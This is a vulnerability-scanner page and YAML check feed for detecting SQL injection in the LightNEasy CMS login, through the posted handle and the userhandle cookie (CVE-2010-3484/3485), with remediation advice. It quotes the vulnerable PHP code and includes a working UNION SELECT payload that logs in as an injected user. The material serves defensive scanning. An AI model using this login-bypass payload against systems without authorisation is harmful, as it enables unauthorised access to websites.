LightNEasy — 1 vulnerability check

noctis ships 1 vulnerability check for LightNEasy, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

LightNEasy login SQL injection (handle parameter and userhandle cookie)

CVECVE-2010-3484, CVE-2010-3485
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/lightneasy/lightneasy-login-sqli.yaml

Tests the LightNEasy CMS login for SQL injection through the posted user name (handle, CVE-2010-3484) and through the "remember me" userhandle cookie (CVE-2010-3485). In the web root and in /lne, /lightneasy, /nodatabase and /sqlite, the feed first checks that LightNEasy.php (or index.php) is a LightNEasy page. For each input it then sends a random user name followed by a UNION SELECT that returns one made-up user row whose password hash is chosen by the feed. The first request uses a hash that does not match the submitted password and must be refused; the second uses the matching hash and must be logged in (redirect or "Login Successfull"); the first request is then sent again and must still be refused, which rules out a filter that starts redirecting after the first attack. The login can only succeed if the application read the injected row, which proves the SQL injection. Each input is reported as its own finding. The login opens a session for a made-up user without administrator rights; nothing is written to the database. When neither input could be proven, LightNEasy 3.2.1 shown in the page is reported with lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/LightNEasy.php?do=login
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?do=login
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/{{fp.entry}}?do=login with a crafted body
  7. HTTP(S) request POST {{dir}}/{{fp.entry}}?do=login with a crafted body
  8. HTTP(S) request POST {{dir}}/{{fp.entry}}?do=login with a crafted body
  9. HTTP(S) request GET {{dir}}/{{fp.entry}}
  10. HTTP(S) request GET {{dir}}/{{fp.entry}}
  11. HTTP(S) request GET {{dir}}/{{fp.entry}}
  12. Parses / computes the next value with a Rhai script
  13. Parses / computes the next value with a Rhai script
  14. Parses / computes the next value with a Rhai script
  15. … and 4 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/lightneasy/lightneasy-login-sqli.yaml
# LightNEasy login SQL injection — CVE-2010-3484 (POST handle) and CVE-2010-3485
# (userhandle cookie), both in login() of LightNEasy/common.php.
#
# Vulnerable code (LightNEasy 3.2.1, quoted by exploit-db 15060):
#   $result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
#   if($row = fetch_array($result)) {
#     if($row['password'] == sha1($_POST['password'])) { ...session...; header("Location: ...") }
# and, when no login form is posted, the "remember me" cookie branch:
#   $user=decode(sanitize($_COOKIE['userhandle']));      // stripslashes + html_entity_decode
#   if($row = fetch_array(dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$user.'"')))
#     if($row['password'] == $_COOKIE['userpass']) { ...session...; header("Location: ...") }
# LightNEasy 3.2.5 (the last release; source on GitHub yama/LightNEasy) passes the
# POST handle through htmlentities() (the double quote becomes "), but the
# cookie branch is unchanged: CVE-2010-3485 is still exploitable there.
# LightNEasy runs on SQLite (sqlite / SQLite3 class) or MySQL; the payload below is
# valid on both. With magic_quotes_gpc on, MySQL sees \" in the POST handle (not
# injectable there), while the cookie is stripslashes()'d before use.
#
# Proof (per install directory: "", /lne, /lightneasy, /nodatabase, /sqlite — entry
# LightNEasy.php, or index.php when LightNEasy.php is refused):
#   handle = <r>" UNION SELECT 1,'<r>','<hash>',0,'','0','','','','',''-- -
# (11 columns of the users table). The injected row carries a password hash chosen
# by the feed; the login succeeds (redirect / session) only when the application
# compares the submitted password with that injected hash:
#   - POST <entry>?do=login, handle=<payload with sha1(<pw2>)>, password=<pw> first
#     (control: hash mismatch, must be refused), then the same with sha1(<pw>)
#     (must log in: 3xx redirect or "Login Successfull"), then the control again
#     (must still be refused: rules out a WAF / rate limiter that starts
#     redirecting after the first attack).
#   - GET <entry> with Cookie userhandle=<payload with <tok2>>; userpass=<tok> first
#     (control, must not redirect), then the same with <tok> in the payload (3xx),
#     then the control again (must still not redirect).
# A random user name matches no account, so the only row that can log in is the
# injected one: the true/false pair proves the input reaches the SQL query (QoD 97).
# The login opens a PHP session for the injected (non-admin, level 0) user, nothing
# is written to the database.
# Version fallback (QoD 70): LightNEasy 3.2.1 in the generator meta / footer when no
# proof fired in any directory.
#
# Better than the reference check: the reference only compares the version string
# (3.2.1, SQLite installs). This feed proves both injections, also reports MySQL
# installs and the still-vulnerable cookie branch of 3.2.5.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_LightNEasy_43330.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100817, GPL-2.0-only) and its detection
# secpod_lightneasy_detect.nasl.
uid: caf2b908-61ab-4108-98c9-6edb17587296
name: "LightNEasy login SQL injection (handle parameter and userhandle cookie)"
description: |
  Tests the LightNEasy CMS login for SQL injection through the posted user name
  (handle, CVE-2010-3484) and through the "remember me" userhandle cookie
  (CVE-2010-3485). In the web root and in /lne, /lightneasy, /nodatabase and
  /sqlite, the feed first checks that LightNEasy.php (or index.php) is a
  LightNEasy page. For each input it then sends a random user name followed by a
  UNION SELECT that returns one made-up user row whose password hash is chosen by
  the feed. The first request uses a hash that does not match the submitted
  password and must be refused; the second uses the matching hash and must be
  logged in (redirect or "Login Successfull"); the first request is then sent
  again and must still be refused, which rules out a filter that starts
  redirecting after the first attack. The login can only succeed if the
  application read the injected row, which proves the SQL injection. Each input is
  reported as its own finding. The login opens a session for a made-up user
  without administrator rights; nothing is written to the database. When neither
  input could be proven, LightNEasy 3.2.1 shown in the page is reported with lower
  confidence.
category: sqli
cves: [CVE-2010-3484, CVE-2010-3485]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [lightneasy, php, sqlite, mysql, sqli, auth-bypass, cookie, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3484"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3485"
  - "https://www.exploit-db.com/exploits/15060"
  - "http://www.securityfocus.com/bid/43330"
  - "https://github.com/yama/LightNEasy"

steps:
  # Shared random values. Payloads are percent-encoded here: they go in a form
  # body and in a cookie (PHP url-decodes both).
  - id: gen
    action: script
    store_as: rv
    code: |
      let u = "n" + rand_str(9);
      let pw = rand_str(12);
      let pw2 = rand_str(12);
      let tok = rand_hex(20);
      let tok2 = rand_hex(20);
      let inj = |u, h| {
        u + "%22%20UNION%20SELECT%201%2C%27" + u + "%27%2C%27" + h +
        "%27%2C0%2C%27%27%2C%270%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27--%20-"
      };
      #{
        u: u, pw: pw, tok: tok,
        post_true: inj.call(u, sha1(pw)), post_false: inj.call(u, sha1(pw2)),
        cookie_true: inj.call(u, tok), cookie_false: inj.call(u, tok2)
      }

  - id: init-post-found
    action: set_var
    var_name: post_found
    var_value: ""

  - id: init-cookie-found
    action: set_var
    var_name: cookie_found
    var_value: ""

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  # Loop group: every following step runs once per directory. Pre-initialise each
  # stored result so a failed request never leaves it undefined or stale.
  - id: init-page1
    action: set_var
    var_name: page1
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/lne", "/lightneasy", "/nodatabase", "/sqlite"]

  - id: init-page2
    action: set_var
    var_name: page2
    var_value: {status: 0, body: ""}

  - id: init-pctl
    action: set_var
    var_name: pctl
    var_value: {status: 0, body: ""}

  - id: init-pinj
    action: set_var
    var_name: pinj
    var_value: {status: 0, body: ""}

  - id: init-precheck
    action: set_var
    var_name: prck
    var_value: {status: 0, body: ""}

  - id: init-crecheck
    action: set_var
    var_name: crck
    var_value: {status: 0, body: ""}

  - id: init-cctl
    action: set_var
    var_name: cctl
    var_value: {status: 0, body: ""}

  - id: init-cinj
    action: set_var
    var_name: cinj
    var_value: {status: 0, body: ""}

  - id: get-lightneasy-php
    action: http_request
    condition: "post_found == \"\" || cookie_found == \"\""
    method: GET
    path: "{{dir}}/LightNEasy.php?do=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page1

  - id: gate1
    action: script
    store_as: g1
    code: |
      let b = if type_of(page1.body) == "string" { page1.body } else { "" };
      #{ ok: page1.status == 200 && ereg("generator' content='LightNEasy|css/lightneasy\\.css|LightNEasy\\.php\\?(page=index|do=login)", b, true) }

  # LightNEasy.php dies with "Access Denied!" when the site's index file is
  # index.php: use index.php then.
  - id: get-index-php
    action: http_request
    condition: "(post_found == \"\" || cookie_found == \"\") && g1.ok == false"
    method: GET
    path: "{{dir}}/index.php?do=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page2

  - id: gate
    action: script
    store_as: fp
    code: |
      let pat = "generator' content='LightNEasy|css/lightneasy\\.css|LightNEasy\\.php\\?(page=index|do=login)";
      let b2 = if type_of(page2.body) == "string" { page2.body } else { "" };
      let ok2 = page2.status == 200 && ereg(pat, b2, true);
      let out = #{ ok: g1.ok || ok2, entry: "", version: "" };
      if g1.ok { out.entry = "LightNEasy.php"; } else if ok2 { out.entry = "index.php"; }
      let b = if g1.ok { page1.body } else { b2 };
      if out.ok {
        let m = eregmatch("LightNEasy (Mini )?([0-9]+(\\.[0-9]+)+)", b);
        if m.len() >= 3 { out.version = m[2]; }
      }
      out

  # ── POST handle (CVE-2010-3484) — control first: injected hash does not match.
  - id: post-control
    action: http_request
    condition: "fp.ok && post_found == \"\""
    method: POST
    path: "{{dir}}/{{fp.entry}}?do=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "handle={{rv.post_false}}&password={{rv.pw}}&do=login&aaa=Login"
    store_as: pctl

  - id: post-inject
    action: http_request
    condition: "fp.ok && post_found == \"\" && pctl.status == 200"
    method: POST
    path: "{{dir}}/{{fp.entry}}?do=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "handle={{rv.post_true}}&password={{rv.pw}}&do=login&aaa=Login"
    store_as: pinj

  # Same control again: a WAF / rate limiter that starts redirecting after the
  # first attack would redirect this one too, so the pair would prove nothing.
  - id: post-recheck
    action: http_request
    condition: "fp.ok && post_found == \"\" && pctl.status == 200 && pinj.status != 0"
    method: POST
    path: "{{dir}}/{{fp.entry}}?do=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "handle={{rv.post_false}}&password={{rv.pw}}&do=login&aaa=Login"
    store_as: prck

  # ── userhandle cookie (CVE-2010-3485) — control first: userpass mismatch.
  - id: cookie-control
    action: http_request
    condition: "fp.ok && cookie_found == \"\""
    method: GET
    path: "{{dir}}/{{fp.entry}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "userhandle={{rv.cookie_false}}; userpass={{rv.tok}}"
    store_as: cctl

  - id: cookie-inject
    action: http_request
    condition: "fp.ok && cookie_found == \"\" && cctl.status == 200"
    method: GET
    path: "{{dir}}/{{fp.entry}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "userhandle={{rv.cookie_true}}; userpass={{rv.tok}}"
    store_as: cinj

  - id: cookie-recheck
    action: http_request
    condition: "fp.ok && cookie_found == \"\" && cctl.status == 200 && cinj.status != 0"
    method: GET
    path: "{{dir}}/{{fp.entry}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "userhandle={{rv.cookie_false}}; userpass={{rv.tok}}"
    store_as: crck

  # A login is a 3xx reply (header("Location")), or a 200 page that says
  # "Login Successfull" / warns that the Location header could not be sent
  # (display_errors on, output already started).
  - id: judge
    action: script
    store_as: vd
    code: |
      let logged = |st, body| {
        let b = if type_of(body) == "string" { body } else { "" };
        (st >= 300 && st < 400) || (st == 200 && ereg("Login Successfull|Cannot modify header information", b))
      };
      let post = "";
      let cookie = "";
      if fp.ok && post_found == "" && pctl.status == 200 && !logged.call(pctl.status, pctl.body) && logged.call(pinj.status, pinj.body) && prck.status == 200 && !logged.call(prck.status, prck.body) {
        post = dir + "/" + fp.entry + "?do=login: handle " + rv.u + "\" UNION SELECT <row with sha1 of the submitted password> was logged in (HTTP " + pinj.status + "), the same row with a non-matching hash was refused before and after (HTTP " + pctl.status + " / " + prck.status + ")";
      }
      if fp.ok && cookie_found == "" && cctl.status == 200 && !logged.call(cctl.status, cctl.body) && logged.call(cinj.status, cinj.body) && crck.status == 200 && !logged.call(crck.status, crck.body) {
        cookie = dir + "/" + fp.entry + ": cookie userhandle=" + rv.u + "\" UNION SELECT <row with password = userpass cookie> was logged in (HTTP " + cinj.status + "), the same row with a non-matching password was not, before and after (HTTP " + cctl.status + " / " + crck.status + ")";
      }
      #{ post: post, cookie: cookie }

  - id: keep-post
    action: script
    store_as: post_found
    code: 'if post_found == "" { vd.post } else { post_found }'

  - id: keep-cookie
    action: script
    store_as: cookie_found
    code: 'if cookie_found == "" { vd.cookie } else { cookie_found }'

  - id: keep-fallback
    action: script
    store_as: fallback
    code: |
      if fallback == "" && fp.ok && fp.version == "3.2.1" {
        dir + "/" + fp.entry + " reports LightNEasy " + fp.version
      } else {
        fallback
      }

  # Reports run once, after every directory was tried.
  - id: after-loop
    action: set_var
    var_name: phase
    var_value: "report"
    loop:
      var: once
      over: ["report"]

  - id: report-post
    action: match
    source: post_found
    pattern: "do=login: handle "
    on_match:
      finding:
        title: "LightNEasy login SQL injection via the handle parameter"
        cves: [CVE-2010-3484]
        confidence_delta: 0.65
        qod: 97
        evidence: "{{post_found}}"
        remediation: "LightNEasy is no longer maintained. Version 3.2.5 escapes the posted user name, but its userhandle cookie is still injectable: remove LightNEasy or replace it with a maintained CMS."

  - id: report-cookie
    action: match
    source: cookie_found
    pattern: ": cookie userhandle="
    on_match:
      finding:
        title: "LightNEasy login SQL injection via the userhandle cookie"
        cves: [CVE-2010-3485]
        confidence_delta: 0.65
        qod: 97
        evidence: "{{cookie_found}}"
        remediation: "LightNEasy is no longer maintained and no release fixes the userhandle cookie injection (3.2.5, the last release, is affected): remove LightNEasy or replace it with a maintained CMS."

  - id: report-version
    action: match
    condition: "post_found == \"\" && cookie_found == \"\""
    source: fallback
    pattern: "reports LightNEasy 3\\.2\\.1$"
    on_match:
      finding:
        title: "LightNEasy 3.2.1 (login SQL injection)"
        confidence_delta: 0.40
        qod: 70
        evidence: "{{fallback}}; the injection itself could not be confirmed"
        remediation: "LightNEasy is no longer maintained: remove it or replace it with a maintained CMS."

View these feeds on GitHub